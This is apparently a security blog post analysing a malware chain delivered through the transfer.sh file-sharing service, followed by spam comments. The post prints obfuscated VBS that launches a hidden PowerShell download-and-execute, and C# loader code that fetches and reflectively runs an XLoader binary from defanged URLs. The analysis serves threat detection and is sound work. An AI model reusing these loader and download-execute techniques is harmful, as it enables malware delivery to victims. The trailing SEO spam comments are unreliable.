Malware Delivered Through Free Sharing Tool
File sharing is a classic operation performed by many people on a daily basis. If you can share files using big players like Dropbox or all the *Drive ("One", "Google", etc), there exists a lot of free alternatives that help to easily share files with peers. Because, still today, many organizations do not provide an "official" (read: promoted, supported, and monitored) service, users are always looking for alternatives. There are plenty of tools available like Lufi[1] or transfer.sh[2] (they are plenty of others). The sample that I spotted yesterday was delivered through the second one.
The initial payload was a gzip'd RAR archive (SHA256:949ce2559baa5021ac55523ece74c52bcf39b74d94352d9697b60594034c6dfc)
remnux@remnux:/MalwareZoo/20220323$ gzip -d -c Files.gz | file - /dev/stdin: RAR archive data, v5 remnux@remnux:/MalwareZoo/20220323$ gzip -d Files.gz && unrar t Files UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal Testing archive Files Testing COMPILLED LIST OF ITEMS.vbs OK Testing Item's Specification & Drawings.vbs OK Testing Company's Introduction.vbs OK All OK
All three files in the archive are the same. Here is the (beautified) code:
KKJDSKJDJKDSDSDSJKDSKJDSKDSKDKJSDKJSKDSKDSJKDSJKDSKJDSKDDKJEKJDKJDJKDKJDSJKDS = "W"&"s"&"c"&"r"&"i"&CHR(80)&"t."&"s"&"h"&CHR(69)&"l"&"l" Set HFDJHDFSHJDFSHDFHDSHFDSHFHFHSHFKFHKFHSFHKFSHKFHKFHFFHDSFSHDFHSDFFHSSFHD = CreateObject(KKJDSKJDJKDSDSDSJKDSKJDSKDSKDKJSDKJSKDSKDSJKDSJKDS KJDSKDDKJEKJDKJDJKDKJDSJKDS) SJKHSKHSDKHHKSDSDKHSDKHHDSKDSHKHKDSDHKDSK = "PoWERsh" HDFHKFDKHHKDFHKHDFHKK = "E" GHDSHGDHDSKHDSKHDSKHDSHKDSKHDSDSKHDKSHKDSKHDSKHSDHDSKHDSHKDSHK = ""+SJKHSKHSDKHHKSDSDKHSDKHHDSKDSHKHKDSDHKDSK+HDFHKFDKHHKDFHKHDFHKK+"LL -exeC utiO BYpASS -C i`Ex( N`eW-oB`jEct neT.We`BcLi`ENt ).dOwNloadSTrinG('hxxps://transfer[.]sh/get/z16it2/rraammm.ps1') " HFDJHDFSHJDFSHDFHDSHFDSHFHFHSHFKFHKFHSFHKFSHKFHKFHFFHDSFSHDFHSDFFHSSFHD.Run(GHDSHGDHDSKHDSKHDSKHDSHKDSKHDSDSKHDKSHKDSKHDSKHSDHDSKHDSHKDSHK),0
Pretty simple, it fetches the next payload through a share on transfer.sh.
hxxps://transfer[.]sh/get/z16it2/rraammm.ps1
The Powershell code is:
$whatever = "dXNpbmcgU3lzd ... (stuff deleted) ... b3NlKCk7fX19"; $dec = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($whatever)); Add-Type -TypeDefinition $dec; $instance = New-Object SKWTFPdZCH.DpGVQhBvSm.HqEHXQYiIxCnIoaXttSHgHoMU; $instance.HxQcKKablTACrmEGBODiYOG hW();
$whatever contains another payload used to inject the PE and execute it:
using System;using System.IO;using System.Net; using System.Reflection;using System.Threading; namespace SKWTFPdZCH.DpGVQhBvSm { public class HqEHXQYiIxCnIoaXttSHgHoMU { private const string VhuixZgiqqTTIkrGvgRwUtDFE="hxxps://transfer[.]sh/get/ACEDn1/sdr.exe"; private MemoryStream XaXaVkSGstrUmNTeLpgVnccuS=new MemoryStream(); [STAThread] public void HxQcKKablTACrmEGBODiYOGhW() { gmrjNtqiFbYCZLoofQZiMGGJt(); imYCaeLWaNVtuIupBojHByURJ(); } private void imYCaeLWaNVtuIupBojHByURJ() { byte[]buffer=XaXaVkSGstrUmNTeLpgVnccuS.ToArray(); Assembly assembly=null; if(Environment.Version.Major>=4) { MethodInfo method=Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage",BindingFlags.NonPublic|BindingFlags.Static); assembly=(Assembly)method.Invoke(null,new object[]{buffer,null,null,null,false,false,null}); } else { MethodInfo method=Type.GetType("System.Reflection.Assembly").GetMethod("nLoadImage",BindingFlags.NonPublic|BindingFlags.Static); assembly=(Assembly)method.Invoke(null,new object[]{buffer,null,null,null,false}); } object[]args=new object[1]; if(assembly.EntryPoint.GetParameters().Length==0) args=null; assembly.EntryPoint.Invoke(null,args); } private void gmrjNtqiFbYCZLoofQZiMGGJt() { WebRequest request=WebRequest.Create(VhuixZgiqqTTIkrGvgRwUtDFE); WebResponse response=request.GetResponse(); using(Stream web_stream=response.GetResponseStream()) { byte[]buffer=new byte[8192]; int read=0; while((read=web_stream.Read(buffer,0,buffer.Length))>0) { XaXaVkSGstrUmNTeLpgVnccuS.Write(buffer,0,read); } } response.Close(); } } }
The final payload (sdr.exe) is again downloaded from transfer.sh. It's an XLoader[3] sample.
It could be interesting to hunt for such file-sharing services in your logs... From a security point of view, Lufi is nice because all crypt/decrypt operations are performed on the client-side and the server does not see the content of shared files. However, this prevents files to be downloaded by headless browsers. transfer.sh is pretty simple and is, therefore, a nice solution for attackers! This technique is better for attackers because they don't have to compromise a website to drop their malicious content. Note that a Lufi instance could be perfectly used in a phishing campaign (via a link in the mail).
I'm running my own instance of Lufi as a honeypot and keeping an eye on it but, until now, it was never abused...
[1] https://framagit.org/fiat-tux/hat-softwares/lufi
[2] https://transfer.sh
[3] https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
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<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago